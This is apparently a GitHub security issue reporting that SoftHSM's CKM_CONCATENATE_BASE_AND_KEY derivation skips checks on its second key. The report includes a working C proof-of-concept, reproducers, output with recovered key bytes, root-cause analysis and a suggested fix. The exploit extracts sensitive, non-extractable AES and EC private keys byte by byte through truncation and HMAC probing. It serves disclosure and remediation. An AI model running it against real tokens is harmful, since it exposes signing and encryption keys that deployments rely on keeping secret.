Repository navigation
Description
Summary
CKM_CONCATENATE_BASE_AND_KEY takes a second key handle as its parameter. SoftHSM applies the usual checks to the base key, but uses the second key with no checks at all: its class, CKA_DERIVE and CKA_ALLOWED_MECHANISMS are never looked at. Combined with CKA_VALUE_LEN truncation, this lets a caller extract the value of any sensitive, non-extractable key on the token. The caller derives a key made of known bytes plus one unknown byte of the victim key, HMACs with it, and finds that byte offline among 256 candidates.
The victim key needs no derive permission: CKA_DERIVE = FALSE and a restrictive CKA_ALLOWED_MECHANISMS don't stop it. It also need not be a secret key. The PoC below recovers a generated AES-256 key (allowed: CKM_AES_GCM only) and a generated EC P-256 private key (allowed: CKM_ECDSA only) in 33 C_DeriveKey calls each. Both keys were created with CKA_SENSITIVE = TRUE, CKA_EXTRACTABLE = FALSE and CKA_DERIVE = FALSE. The PoC checks each result against the token: AES-GCM output for the AES key, the public point for the EC key. Ed25519, ML-DSA, ML-KEM and SLH-DSA private keys and DES3/generic secrets are exposed the same way (scope table below).
Affects 2.7.0, the first release with this mechanism, and develop HEAD (8791ac1). 2.6.1 does not have the mechanism. Found with pkcs11-check-style conformance tests. The first symptom was that the second key's CKA_ALLOWED_MECHANISMS is not enforced; pkcs11-check 0.3.1 checks the same thing (#56.1, derive_aux).
Environment
- SoftHSM 2.7.0 (
13e6e86) anddevelopHEAD8791ac1c497eb7e106b6a07a96954aca1184b137(2026-11-25); same result on both - Ubuntu 26.04.1 LTS x86_64, GCC 15.2.0, OpenSSL 3.5.5
- CMake,
-DWITH_CRYPTO_BACKEND=openssl; HEAD also with-DENABLE_MLDSA=ON -DENABLE_MLKEM=ON -DENABLE_SLHDSA=ON
Steps to reproduce
run.sh creates a throwaway token (test PINs) and runs a reproducer: ./run.sh <build>/src/lib/libsofthsm2.so <build>/src/bin/util/softhsm2-util ./poc. Build with cc -I<softhsm>/src/lib/pkcs11 -o poc s2_extract_via_second_key.c -ldl -lcrypto.
// s2_extract_via_second_key.c
/* Impact of S2: recover a sensitive, non-extractable key with CKA_DERIVE = FALSE, byte by byte, by using it as
* the *second* key of CKM_CONCATENATE_BASE_AND_KEY with a short CKA_VALUE_LEN, then HMAC-ing with the result.
* Victims: an AES-256 key (allowed: CKM_AES_GCM only) and an EC P-256 private key (allowed: CKM_ECDSA only),
* both generated on the token with CKA_SENSITIVE = TRUE, CKA_EXTRACTABLE = FALSE, CKA_DERIVE = FALSE.
* Build: cc -I<softhsm>/src/lib/pkcs11 s2_extract_via_second_key.c -ldl -lcrypto */
#include "common.h"
#include <openssl/hmac.h>
#include <openssl/evp.h>
#include <openssl/ec.h>
#include <openssl/obj_mac.h>
static CK_BBOOL T = CK_TRUE, F = CK_FALSE;
/* Recover up to max bytes of the victim's CKA_VALUE. Returns the number of bytes recovered. */
static CK_ULONG recover(CK_SESSION_HANDLE s, CK_OBJECT_HANDLE victim, CK_BYTE *out, CK_ULONG max, CK_ULONG *calls)
{
CK_OBJECT_CLASS sc = CKO_SECRET_KEY; CK_KEY_TYPE gk = CKK_GENERIC_SECRET;
CK_BYTE msg[] = "probe";
CK_ULONG n = 0;
for (; n < max; n++) {
CK_ULONG L = n <= 30 ? 31 - n : 1, total = L + n + 1; /* derived key = base(L) || victim[0..n] */
CK_BYTE base[32]; memset(base, 0x42, sizeof base);
CK_ATTRIBUTE bt[] = { { CKA_CLASS, &sc, sizeof sc }, { CKA_KEY_TYPE, &gk, sizeof gk }, { CKA_TOKEN, &F, 1 },
{ CKA_DERIVE, &T, 1 }, { CKA_VALUE, base, L } };
CK_OBJECT_HANDLE hb, hd;
CHECK(p->C_CreateObject(s, bt, 5, &hb));
CK_ATTRIBUTE dt[] = { { CKA_CLASS, &sc, sizeof sc }, { CKA_KEY_TYPE, &gk, sizeof gk }, { CKA_TOKEN, &F, 1 },
{ CKA_SIGN, &T, 1 }, { CKA_VALUE_LEN, &total, sizeof total } };
CK_MECHANISM m = { CKM_CONCATENATE_BASE_AND_KEY, &victim, sizeof victim };
CK_RV rv = p->C_DeriveKey(s, &m, hb, dt, 5, &hd);
(*calls)++;
p->C_DestroyObject(s, hb);
if (rv != CKR_OK) { if (n == 0) printf(" C_DeriveKey -> %s\n", rvname(rv)); break; } /* past the end */
CK_MECHANISM hm = { CKM_SHA256_HMAC, NULL, 0 };
CK_BYTE mac[32]; CK_ULONG ml = sizeof mac;
CHECK(p->C_SignInit(s, &hm, hd));
CHECK(p->C_Sign(s, msg, sizeof msg - 1, mac, &ml));
p->C_DestroyObject(s, hd);
CK_BYTE key[64]; memcpy(key, base, L); memcpy(key + L, out, n);
int c;
for (c = 0; c < 256; c++) { /* offline: try the 256 values of byte n */
key[L + n] = (CK_BYTE)c; unsigned char ref[32]; unsigned int rl;
HMAC(EVP_sha256(), key, (int)total, msg, sizeof msg - 1, ref, &rl);
if (memcmp(ref, mac, 32) == 0) break;
}
if (c == 256) { printf(" byte %lu: no match\n", (unsigned long)n); break; }
out[n] = (CK_BYTE)c;
}
return n;
}
static void hex(const char *tag, const CK_BYTE *b, CK_ULONG n)
{ printf("%s", tag); for (CK_ULONG i = 0; i < n; i++) printf("%02X", b[i]); printf("\n"); }
int main(int argc, char **argv)
{
CK_SESSION_HANDLE s = open_user_session(argv[1], argv[2]);
CK_ULONG calls;
/* --- victim 1: AES-256, usable only for AES-GCM ---------------------------------------------------- */
CK_ULONG len = 32; CK_MECHANISM_TYPE gcmOnly = CKM_AES_GCM;
CK_ATTRIBUTE at[] = { { CKA_TOKEN, &F, 1 }, { CKA_VALUE_LEN, &len, sizeof len }, { CKA_SENSITIVE, &T, 1 },
{ CKA_EXTRACTABLE, &F, 1 }, { CKA_DERIVE, &F, 1 }, { CKA_ENCRYPT, &T, 1 },
{ CKA_ALLOWED_MECHANISMS, &gcmOnly, sizeof gcmOnly } };
CK_MECHANISM kg = { CKM_AES_KEY_GEN, NULL, 0 };
CK_OBJECT_HANDLE aes;
CHECK(p->C_GenerateKey(s, &kg, at, 7, &aes));
CK_BYTE buf[64]; CK_ATTRIBUTE va = { CKA_VALUE, buf, sizeof buf };
printf("AES victim: C_GetAttributeValue(CKA_VALUE) -> %s\n", rvname(p->C_GetAttributeValue(s, aes, &va, 1)));
CK_BYTE k[64]; calls = 0;
CK_ULONG n = recover(s, aes, k, 64, &calls);
printf("AES victim: recovered %lu bytes with %lu C_DeriveKey calls\n", (unsigned long)n, (unsigned long)calls);
hex(" recovered key: ", k, n);
/* check: AES-GCM on the token vs. AES-GCM with the recovered key in OpenSSL */
CK_BYTE iv[12] = { 0 }, pt[16] = "known plaintext", ct[32]; CK_ULONG cl = sizeof ct;
CK_GCM_PARAMS gp = { iv, sizeof iv, 96, NULL, 0, 128 };
CK_MECHANISM gm = { CKM_AES_GCM, &gp, sizeof gp };
CHECK(p->C_EncryptInit(s, &gm, aes)); CHECK(p->C_Encrypt(s, pt, 16, ct, &cl));
unsigned char ref[32]; int ol;
EVP_CIPHER_CTX *cx = EVP_CIPHER_CTX_new();
EVP_EncryptInit_ex(cx, EVP_aes_256_gcm(), NULL, k, iv);
EVP_EncryptUpdate(cx, ref, &ol, pt, 16); EVP_EncryptFinal_ex(cx, ref + 16, &ol);
EVP_CIPHER_CTX_ctrl(cx, EVP_CTRL_GCM_GET_TAG, 16, ref + 16); EVP_CIPHER_CTX_free(cx);
printf(" token AES-GCM output %s OpenSSL AES-GCM with the recovered key\n",
cl == 32 && memcmp(ct, ref, 32) == 0 ? "==" : "!=");
/* --- victim 2: EC P-256 private key, usable only for ECDSA --------------------------------------- */
CK_BYTE p256[] = { 0x06, 0x08, 0x2A, 0x86, 0x48, 0xCE, 0x3D, 0x03, 0x01, 0x07 };
CK_MECHANISM_TYPE ecdsaOnly = CKM_ECDSA;
CK_ATTRIBUTE pubt[] = { { CKA_TOKEN, &F, 1 }, { CKA_EC_PARAMS, p256, sizeof p256 }, { CKA_VERIFY, &T, 1 } };
CK_ATTRIBUTE prvt[] = { { CKA_TOKEN, &F, 1 }, { CKA_PRIVATE, &T, 1 }, { CKA_SENSITIVE, &T, 1 },
{ CKA_EXTRACTABLE, &F, 1 }, { CKA_DERIVE, &F, 1 }, { CKA_SIGN, &T, 1 },
{ CKA_ALLOWED_MECHANISMS, &ecdsaOnly, sizeof ecdsaOnly } };
CK_MECHANISM ekg = { CKM_EC_KEY_PAIR_GEN, NULL, 0 };
CK_OBJECT_HANDLE pub, prv;
CHECK(p->C_GenerateKeyPair(s, &ekg, pubt, 3, prvt, 7, &pub, &prv));
printf("EC victim: C_GetAttributeValue(CKA_VALUE) -> %s\n", rvname(p->C_GetAttributeValue(s, prv, &va, 1)));
calls = 0;
n = recover(s, prv, k, 64, &calls);
printf("EC victim: recovered %lu bytes with %lu C_DeriveKey calls\n", (unsigned long)n, (unsigned long)calls);
hex(" recovered d: ", k, n);
/* check: d * G with the recovered scalar equals the token's CKA_EC_POINT */
CK_BYTE ep[80]; CK_ATTRIBUTE pa = { CKA_EC_POINT, ep, sizeof ep };
CHECK(p->C_GetAttributeValue(s, pub, &pa, 1));
EC_GROUP *g = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1);
BIGNUM *d = BN_bin2bn(k, (int)n, NULL); EC_POINT *Q = EC_POINT_new(g);
EC_POINT_mul(g, Q, d, NULL, NULL, NULL);
unsigned char q[65]; size_t ql = EC_POINT_point2oct(g, Q, POINT_CONVERSION_UNCOMPRESSED, q, sizeof q, NULL);
printf(" d*G %s the token's CKA_EC_POINT\n",
pa.ulValueLen == ql + 2 && memcmp(ep + 2, q, ql) == 0 ? "==" : "!="); /* skip DER 04 41 */
EC_POINT_free(Q); BN_free(d); EC_GROUP_free(g);
p->C_Logout(s); p->C_CloseSession(s); p->C_Finalize(NULL);
return 0;
}Minimal policy-only reproducer (second key's CKA_ALLOWED_MECHANISMS ignored), common.h and run.sh
// s2_concat_second_key_allowed_mechs.c
/* C_DeriveKey(CKM_CONCATENATE_BASE_AND_KEY) ignores the second key's CKA_ALLOWED_MECHANISMS. */
#include "common.h"
static CK_OBJECT_HANDLE import(CK_SESSION_HANDLE s, CK_BYTE *v, CK_ULONG len, CK_MECHANISM_TYPE allowed)
{
CK_OBJECT_CLASS cls = CKO_SECRET_KEY; CK_KEY_TYPE kt = CKK_GENERIC_SECRET;
CK_BBOOL t = CK_TRUE, f = CK_FALSE;
CK_ATTRIBUTE tmpl[] = {
{ CKA_CLASS, &cls, sizeof cls }, { CKA_KEY_TYPE, &kt, sizeof kt },
{ CKA_TOKEN, &f, sizeof f }, { CKA_SENSITIVE, &f, sizeof f },
{ CKA_EXTRACTABLE, &t, sizeof t }, { CKA_DERIVE, &t, sizeof t },
{ CKA_ALLOWED_MECHANISMS, &allowed, sizeof allowed },
{ CKA_VALUE, v, len },
};
CK_OBJECT_HANDLE h;
CHECK(p->C_CreateObject(s, tmpl, sizeof tmpl / sizeof tmpl[0], &h));
return h;
}
static void show_allowed(CK_SESSION_HANDLE s, const char *name, CK_OBJECT_HANDLE h)
{
CK_MECHANISM_TYPE m[8]; CK_ATTRIBUTE a = { CKA_ALLOWED_MECHANISMS, m, sizeof m };
CHECK(p->C_GetAttributeValue(s, h, &a, 1));
printf("%s CKA_ALLOWED_MECHANISMS = {", name);
for (CK_ULONG i = 0; i < a.ulValueLen / sizeof m[0]; i++) printf(" 0x%lX", (unsigned long)m[i]);
printf(" }\n");
}
int main(int argc, char **argv)
{
CK_SESSION_HANDLE s = open_user_session(argv[1], argv[2]);
CK_BYTE baseV[16], secondV[16];
for (int i = 0; i < 16; i++) { baseV[i] = (CK_BYTE)i; secondV[i] = (CK_BYTE)(0xF0 + i); }
/* base key may be used with CONCATENATE_BASE_AND_KEY; the second key may NOT (only BASE_AND_DATA) */
CK_OBJECT_HANDLE base = import(s, baseV, sizeof baseV, CKM_CONCATENATE_BASE_AND_KEY);
CK_OBJECT_HANDLE second = import(s, secondV, sizeof secondV, CKM_CONCATENATE_BASE_AND_DATA);
show_allowed(s, "base ", base);
show_allowed(s, "second", second);
CK_OBJECT_CLASS cls = CKO_SECRET_KEY; CK_KEY_TYPE kt = CKK_GENERIC_SECRET;
CK_BBOOL t = CK_TRUE, f = CK_FALSE;
CK_ATTRIBUTE tmpl[] = {
{ CKA_CLASS, &cls, sizeof cls }, { CKA_KEY_TYPE, &kt, sizeof kt },
{ CKA_TOKEN, &f, sizeof f }, { CKA_SENSITIVE, &f, sizeof f },
{ CKA_EXTRACTABLE, &t, sizeof t },
};
CK_MECHANISM mech = { CKM_CONCATENATE_BASE_AND_KEY, &second, sizeof second };
CK_OBJECT_HANDLE derived = CK_INVALID_HANDLE;
CK_RV rv = p->C_DeriveKey(s, &mech, base, tmpl, sizeof tmpl / sizeof tmpl[0], &derived);
printf("C_DeriveKey(CKM_CONCATENATE_BASE_AND_KEY, base, second) -> %s\n", rvname(rv));
int bug = 0;
if (rv == CKR_OK) {
CK_BYTE out[64]; CK_ATTRIBUTE a = { CKA_VALUE, out, sizeof out };
CHECK(p->C_GetAttributeValue(s, derived, &a, 1));
printf("derived CKA_VALUE (%lu bytes):", (unsigned long)a.ulValueLen);
for (CK_ULONG i = 0; i < a.ulValueLen; i++) printf(" %02X", out[i]);
printf("\n");
bug = a.ulValueLen == 32 && memcmp(out + 16, secondV, 16) == 0;
p->C_DestroyObject(s, derived);
}
printf(bug ? "RESULT: the second key was used with a mechanism its CKA_ALLOWED_MECHANISMS excludes\n"
: "RESULT: the derivation was refused\n");
p->C_DestroyObject(s, base); p->C_DestroyObject(s, second);
p->C_Logout(s); p->C_CloseSession(s); p->C_Finalize(NULL);
return bug;
}Output (2.7.0 and HEAD):
base CKA_ALLOWED_MECHANISMS = { 0x360 }
second CKA_ALLOWED_MECHANISMS = { 0x362 }
C_DeriveKey(CKM_CONCATENATE_BASE_AND_KEY, base, second) -> CKR_OK
derived CKA_VALUE (32 bytes): 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF
RESULT: the second key was used with a mechanism its CKA_ALLOWED_MECHANISMS excludes
// common.h
/* Shared boilerplate: dlopen the module, find the initialized token, log in as user. */
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cryptoki.h"
static CK_FUNCTION_LIST_PTR p;
static CK_SLOT_ID g_slot;
#define CHECK(call) do { CK_RV rv_ = (call); if (rv_ != CKR_OK) { \
printf("%s failed: 0x%08lX\n", #call, (unsigned long)rv_); exit(2); } } while (0)
static CK_SESSION_HANDLE open_user_session(const char *lib, const char *pin)
{
void *h = dlopen(lib, RTLD_NOW);
if (!h) { printf("dlopen: %s\n", dlerror()); exit(2); }
CK_C_GetFunctionList gfl = (CK_C_GetFunctionList)dlsym(h, "C_GetFunctionList");
CHECK(gfl(&p));
CHECK(p->C_Initialize(NULL));
CK_SLOT_ID slots[16]; CK_ULONG n = 16;
CHECK(p->C_GetSlotList(CK_TRUE, slots, &n));
for (CK_ULONG i = 0; i < n; i++) {
CK_TOKEN_INFO ti;
CHECK(p->C_GetTokenInfo(slots[i], &ti));
if (!(ti.flags & CKF_TOKEN_INITIALIZED)) continue;
CK_SESSION_HANDLE s;
g_slot = slots[i];
CHECK(p->C_OpenSession(slots[i], CKF_SERIAL_SESSION | CKF_RW_SESSION, NULL, NULL, &s));
CHECK(p->C_Login(s, CKU_USER, (CK_UTF8CHAR_PTR)pin, strlen(pin)));
return s;
}
printf("no initialized token\n"); exit(2);
}
static const char *rvname(CK_RV rv)
{
switch (rv) {
case CKR_OK: return "CKR_OK";
case CKR_ARGUMENTS_BAD: return "CKR_ARGUMENTS_BAD";
case CKR_ATTRIBUTE_VALUE_INVALID: return "CKR_ATTRIBUTE_VALUE_INVALID";
case CKR_TEMPLATE_INCONSISTENT: return "CKR_TEMPLATE_INCONSISTENT";
case CKR_KEY_FUNCTION_NOT_PERMITTED: return "CKR_KEY_FUNCTION_NOT_PERMITTED";
case CKR_MECHANISM_INVALID: return "CKR_MECHANISM_INVALID";
case CKR_ATTRIBUTE_SENSITIVE: return "CKR_ATTRIBUTE_SENSITIVE";
case CKR_MECHANISM_PARAM_INVALID: return "CKR_MECHANISM_PARAM_INVALID";
case CKR_OBJECT_HANDLE_INVALID: return "CKR_OBJECT_HANDLE_INVALID";
case CKR_KEY_TYPE_INCONSISTENT: return "CKR_KEY_TYPE_INCONSISTENT";
case CKR_FUNCTION_FAILED: return "CKR_FUNCTION_FAILED";
case CKR_GENERAL_ERROR: return "CKR_GENERAL_ERROR";
case CKR_KEY_INDIGESTIBLE: return "CKR_KEY_INDIGESTIBLE";
case CKR_ATTRIBUTE_TYPE_INVALID: return "CKR_ATTRIBUTE_TYPE_INVALID";
case CKR_ATTRIBUTE_READ_ONLY: return "CKR_ATTRIBUTE_READ_ONLY";
case CKR_TEMPLATE_INCOMPLETE: return "CKR_TEMPLATE_INCOMPLETE";
case CKR_KEY_SIZE_RANGE: return "CKR_KEY_SIZE_RANGE";
case CKR_USER_NOT_LOGGED_IN: return "CKR_USER_NOT_LOGGED_IN";
default: { static char b[32]; snprintf(b, sizeof b, "0x%08lX", (unsigned long)rv); return b; }
}
}# run.sh
#!/bin/sh
# usage: run.sh <path/to/libsofthsm2.so> <path/to/softhsm2-util> <reproducer binary>
set -e
LIB=$1; UTIL=$2; BIN=$3
WORK=$(mktemp -d)
mkdir -p "$WORK/tokens"
printf 'directories.tokendir = %s/tokens\nobjectstore.backend = %s\nlog.level = ERROR\n' "$WORK" "${BACKEND:-file}" > "$WORK/softhsm2.conf"
export SOFTHSM2_CONF="$WORK/softhsm2.conf"
"$UTIL" --module "$LIB" --init-token --free --label repro --so-pin 12345678 --pin 1234 >/dev/null
"$BIN" "$LIB" 1234
rm -rf "$WORK"Expected
C_DeriveKey refuses, and creates nothing, when the second key is not one the mechanism may use:
- PKCS#11 v3.2 §6.43.4 describes the mechanism as deriving a secret key from the concatenation of two existing secret keys. An EC/EdDSA/ML-DSA/ML-KEM/SLH-DSA private key is not a valid second key:
CKR_KEY_TYPE_INCONSISTENT. - §4.8, Table 26:
CKA_ALLOWED_MECHANISMSis "a list of mechanisms allowed to be used with this key". The second key is used with this mechanism, since its value ends up in the new key. If the list leaves the mechanism out, the call should fail withCKR_MECHANISM_INVALID(what SoftHSM returns for the base key) orCKR_KEY_FUNCTION_NOT_PERMITTED(§5.1.6). CKA_DERIVE("key supports key derivation", §4.8) is the flag that lets a key take part in a derivation, and SoftHSM already requires it on the base key. Requiring it on the second key too is what stops the extraction for the many keys that never setCKA_ALLOWED_MECHANISMS.
The spec does not single out the second key for the attribute checks either way; reading Table 26 as covering it is an interpretation, shared by pkcs11-check (#56.1). Entrust's nShield PKCS#11 documentation also requires the mechanism in CKA_ALLOWED_MECHANISMS of both keys. The class check follows directly from §6.43.4.
Actual (2.7.0 and HEAD)
AES victim: C_GetAttributeValue(CKA_VALUE) -> CKR_ATTRIBUTE_SENSITIVE
AES victim: recovered 32 bytes with 33 C_DeriveKey calls
recovered key: 1F4BFEF4C420D034056A7838E26438E80D6590B866E94D5BF08BBD40A769F981
token AES-GCM output == OpenSSL AES-GCM with the recovered key
EC victim: C_GetAttributeValue(CKA_VALUE) -> CKR_ATTRIBUTE_SENSITIVE
EC victim: recovered 32 bytes with 33 C_DeriveKey calls
recovered d: 0EA839D0C313E9C832B19B5FD289488ECF059ADBD739DEA2B0856A6CF59FB5BE
d*G == the token's CKA_EC_POINT
Related
Open PR #905 changes the same function (deriveSymmetric) in the CKM_CONCATENATE_BASE_AND_KEY attribute block: it fixes CKA_NEVER_EXTRACTABLE being written to CKA_ALWAYS_SENSITIVE. It does not add any check on the second key, so it does not address this issue. The two patches touch different hunks and should merge independently.
Suggested fix
In deriveSymmetric, apply the base key's checks to the second key before reading its value: read access for the session, class CKO_SECRET_KEY, CKA_DERIVE = TRUE, and isMechanismPermitted(otherKey, CKM_CONCATENATE_BASE_AND_KEY). The patch is in the details below. With it, every extraction row in the scope table is refused, a second key that allows the mechanism still derives, and the module's p11test suite passes.
Deep dive: root cause, scope, impact, history, patch
Root cause (HEAD 8791ac1)
C_DeriveKey() loads the base key and checks it: read access (Line 8854 in 8791ac1
CK_RV SoftHSM::C_DeriveKey ),Lines 8941 to 8949 in 8791ac1
keyType = CKK_GENERIC_SECRET; } rv = extractObjectInformation(pTemplate, ulCount, objClass, keyType, dummy, isOnToken, isPrivate, isImplicit); if (rv != CKR_OK) { ERROR_MSG("Mandatory attribute not present in template"); return rv; } // Report errors and/or unexpected usage. CKA_DERIVE() andLines 8920 to 8922 in 8791ac1
// Check if key can be used for derive if (!key->getBooleanValue(CKA_DERIVE, false)) return CKR_KEY_FUNCTION_NOT_PERMITTED; isMechanismPermitted(key, mechanism)(). It then dispatches toLines 8924 to 8926 in 8791ac1
// Check if the specified mechanism is allowed for the key if (!isMechanismPermitted(key, pMechanism->mechanism)) return CKR_MECHANISM_INVALID; deriveSymmetric().Line 9037 in 8791ac1
return this->deriveSymmetric(hSession, pMechanism, hBaseKey, pTemplate, ulCount, phKey, keyType, isOnToken, isPrivate); deriveSymmetric() takes the second key's handle from the mechanism parameter (Line 13966 in 8791ac1
CK_RV SoftHSM::deriveSymmetric ). It looks up the object and copies itsLines 14087 to 14096 in 8791ac1
else if (pMechanism->mechanism == CKM_CONCATENATE_BASE_AND_KEY && pMechanism->ulParameterLen == sizeof(CK_OBJECT_HANDLE)) { phOtherKey = CK_OBJECT_HANDLE_PTR(pMechanism->pParameter); if (phOtherKey == CK_INVALID_HANDLE) { DEBUG_MSG("There must be handle in the parameter"); return CKR_MECHANISM_PARAM_INVALID; } DEBUG_MSG("(0x%08X) Other key handle is (0x%08X)", phOtherKey, *phOtherKey); CKA_VALUE, decrypting it when the object is private (). There is no check of class,Lines 14114 to 14124 in 8791ac1
// Extract another key if (pMechanism->mechanism == CKM_CONCATENATE_BASE_AND_KEY) { // Check the key handle. otherKey = handleManager->getObject(*phOtherKey); if (otherKey == NULL_PTR || !otherKey->isValid()) return CKR_OBJECT_HANDLE_INVALID; if (otherKey->getBooleanValue(CKA_PRIVATE, true)) { bool bOK = token->decrypt(otherKey->getByteStringValue(CKA_VALUE), data); if (!bOK) return CKR_GENERAL_ERROR; } else { data = otherKey->getByteStringValue(CKA_VALUE); } CKA_DERIVE,CKA_ALLOWED_MECHANISMS, or the session's read access.CKA_VALUE_LENfrom the caller's template sets the output length (). For the concatenation mechanisms the usual length rules are skipped when it is set (Line 14143 in 8791ac1
byteLen = *(CK_ULONG*)pTemplate[i].pValue; ). The concatenated value is then truncated to that length (Lines 14159 to 14161 in 8791ac1
if (byteLen > 0 || (pMechanism->mechanism != CKM_CONCATENATE_DATA_AND_BASE && pMechanism->mechanism != CKM_CONCATENATE_BASE_AND_DATA && pMechanism->mechanism != CKM_CONCATENATE_BASE_AND_KEY)) { ). So the caller chooses how many bytes of the second key end up in the new key, down to one.Lines 14468 to 14478 in 8791ac1
if (byteLen > secretValue.size()) { INFO_MSG("The derived secret is too short"); bOK = false; } else { // Truncate value when requested, remove from the trailing end if (byteLen < secretValue.size()) secretValue.resize(byteLen); - The new key inherits
CKA_SENSITIVE = TRUEfrom the second key (), so it can't be read directly. It can still be used. WithLines 14398 to 14403 in 8791ac1
bool bSensitive = baseKey->getBooleanValue(CKA_SENSITIVE, true) || otherKey->getBooleanValue(CKA_SENSITIVE, true); if (bSensitive) { bOK = bOK && osobject->setAttribute(CKA_SENSITIVE, true); } // If either of the two original keys has its CKA_EXTRACTABLE attribute CKA_SIGN = TRUEin the template it is an HMAC key, and an HMAC over a known message with a key of known bytes plus one unknown byte tells you that byte after 256 offline tries. Repeating with one more byte each time (base key length 31-n,CKA_VALUE_LEN32) recovers the whole value. - For a non-secret second key, step 2 reads
CKA_VALUEregardless of class. For EC, EdDSA, ML-DSA, ML-KEM and SLH-DSA private keys,CKA_VALUEis the private key itself.
Scope
Victims were generated readable with CKA_DERIVE = FALSE, their CKA_VALUE read (ground truth), then locked (CKA_SENSITIVE to TRUE, CKA_EXTRACTABLE to FALSE). Recovery stops at 64 bytes per key to keep the run short; the loop works the same past that. HEAD 8791ac1 built with ML-DSA/ML-KEM/SLH-DSA; 2.7.0 gives the same rows for the key types it supports:
| victim | victim's role | victim CKA_DERIVE / CKA_ALLOWED_MECHANISMS | first C_DeriveKey | bytes recovered (of CKA_VALUE) | match |
|---|---|---|---|---|---|
| AES-256 secret | second key of CONCATENATE_BASE_AND_KEY | FALSE / {CKM_AES_GCM} | CKR_OK | 32 of 32 | yes |
| generic secret (32 B) | second key of CONCATENATE_BASE_AND_KEY | FALSE / unset | CKR_OK | 32 of 32 | yes |
| DES3 secret | second key of CONCATENATE_BASE_AND_KEY | FALSE / unset | CKR_OK | 24 of 24 | yes |
| EC P-256 private | second key of CONCATENATE_BASE_AND_KEY | FALSE / unset | CKR_OK | 32 of 32 | yes |
| Ed25519 private | second key of CONCATENATE_BASE_AND_KEY | FALSE / unset | CKR_OK | 32 of 32 | yes |
| RSA-2048 private | second key of CONCATENATE_BASE_AND_KEY | FALSE / unset | CKR_FUNCTION_FAILED | 0 of 0 | CKA_VALUE absent |
| ML-DSA-44 private | second key of CONCATENATE_BASE_AND_KEY | FALSE / unset | CKR_OK | 64 of 2560 (stopped at 64) | yes |
| ML-KEM-512 private | second key of CONCATENATE_BASE_AND_KEY | FALSE / unset | CKR_OK | 64 of 1632 (stopped at 64) | yes |
| SLH-DSA-SHA2-128s private | second key of CONCATENATE_BASE_AND_KEY | FALSE / unset | CKR_OK | 64 of 64 | yes |
| AES-256 secret | base of CONCATENATE_DATA_AND_BASE | FALSE / unset | CKR_KEY_FUNCTION_NOT_PERMITTED | 0 of 32 | - |
| AES-256 secret | base of CONCATENATE_DATA_AND_BASE | TRUE / {CKM_AES_GCM} | CKR_MECHANISM_INVALID | 0 of 32 | - |
| AES-256 secret | base of CONCATENATE_DATA_AND_BASE | TRUE / {CKM_CONCATENATE_BASE_AND_KEY} | CKR_MECHANISM_INVALID | 0 of 32 | - |
| AES-256 secret | base of CONCATENATE_DATA_AND_BASE | TRUE / unset | CKR_OK | 32 of 32 | yes |
Notes on the table:
- RSA private keys have no
CKA_VALUE, so the second key contributes nothing and the derivation fails as too short. RSA keys are not exposed this way. - The last four rows are controls with the victim as the base key. The base key's
CKA_DERIVEandCKA_ALLOWED_MECHANISMSare enforced (rows 10 to 12). The last row shows a separate, spec-level weakness: a sensitive key that its owner made derivable (CKA_DERIVE = TRUE, no allowed-mechanisms list) can be extracted withCKM_CONCATENATE_DATA_AND_BASE/BASE_AND_DATAplus truncation (Clulow 2003). PKCS#11 permits this. It is listed only to show that the second-key path needs no such permission. A hardening option is to rejectCKA_VALUE_LENshorter than the base key for these mechanisms when the base key is sensitive. - No login needed for a key with
CKA_PRIVATE = FALSE:public R/W session, nobody logged in, token AES key CKA_PRIVATE=FALSE CKA_SENSITIVE=TRUE CKA_DERIVE=FALSE: first C_DeriveKey CKR_OK, recovered 32 of 32 bytes, match yes - Other derivations that take a key handle in their parameters: none in SoftHSM besides this one. ECDH/DH take public data, not a handle.
- Sibling mechanisms:
CKM_CONCATENATE_BASE_AND_DATAandCKM_CONCATENATE_DATA_AND_BASEuse only the base key, which goes through theC_DeriveKeychecks (control rows above). SoftHSM does not implementCKM_XOR_BASE_AND_DATAorCKM_EXTRACT_KEY_FROM_KEY(issue Support CKM_XOR_BASE_AND_DATA for deriving keys #145 asks for XOR), so the one-byte-key variants of this attack are not reachable through those. - Second-key classes: secret keys of any type (AES, generic, DES3), and EC, EdDSA, ML-DSA, ML-KEM and SLH-DSA private keys, are all accepted (table). RSA private keys are accepted but contribute no bytes. Public keys and data objects are accepted too, but they hold nothing secret.
Impact
- Precondition: a session that can use the victim key's handle, i.e. a logged-in user (
CKU_USER) for the usualCKA_PRIVATE = TRUEkeys, or any application, no login, for a sensitive key withCKA_PRIVATE = FALSE.CKM_CONCATENATE_BASE_AND_KEYand an HMAC mechanism must be enabled (they are by default;slots.mechanismscan remove them). - Result: the full plaintext value of any secret key and of EC/EdDSA/PQC private keys on the token, regardless of
CKA_SENSITIVE,CKA_EXTRACTABLE,CKA_DERIVEandCKA_ALLOWED_MECHANISMS. It costs about oneC_DeriveKeyplus oneC_Signper byte (33 calls for a 32-byte key), and leaves no persistent objects (all session objects). CKA_SENSITIVE/CKA_EXTRACTABLE = FALSEexist to keep key material from users who may use the key. Deployments that rely on that (signing services, KMS front ends, CI signing where the application can log in but must not export keys) lose that property.- The derived keys'
CKA_ALWAYS_SENSITIVE/CKA_NEVER_EXTRACTABLEare computed from both keys, but the base key is the attacker's own (FALSE), so the derived key carries no marker that would flag it. (PR Fix CKA_NEVER_EXTRACTABLE of keys derived with CKM_CONCATENATE_BASE_AND_KEY #905 fixes a separate bug in that same block.)
History
- The second-key handling was added in
fa595c0"Add derive support with CKM_CONCATENATE_BASE_AND_KEY" (2020-10-06), part of PR Add misc derivations #571 "Add misc derivations" (merged 2021-02-02).git tag --containsgives2.7.0-rc1as the first tag. The lookup line was last touched by8791ac1(Fix use-after-free of session objects used during session close #933, use-after-free fix), which did not change the checks. - Affected: 2.7.0-rc1, 2.7.0,
develop. Not affected: 2.6.1 and earlier, which returnCKR_MECHANISM_INVALIDfor this mechanism (checked by running 2.6.1). 2.5.0 has no concatenation mechanisms in its source. - No existing issue or PR covers it. Searched for concatenate, derive, allowed mechanisms and second key. PR Fix CKA_NEVER_EXTRACTABLE of keys derived with CKM_CONCATENATE_BASE_AND_KEY #905 touches the same function, but only for
CKA_NEVER_EXTRACTABLE.
Patch (HEAD 8791ac1)
diff --git a/src/lib/SoftHSM.cpp b/src/lib/SoftHSM.cpp
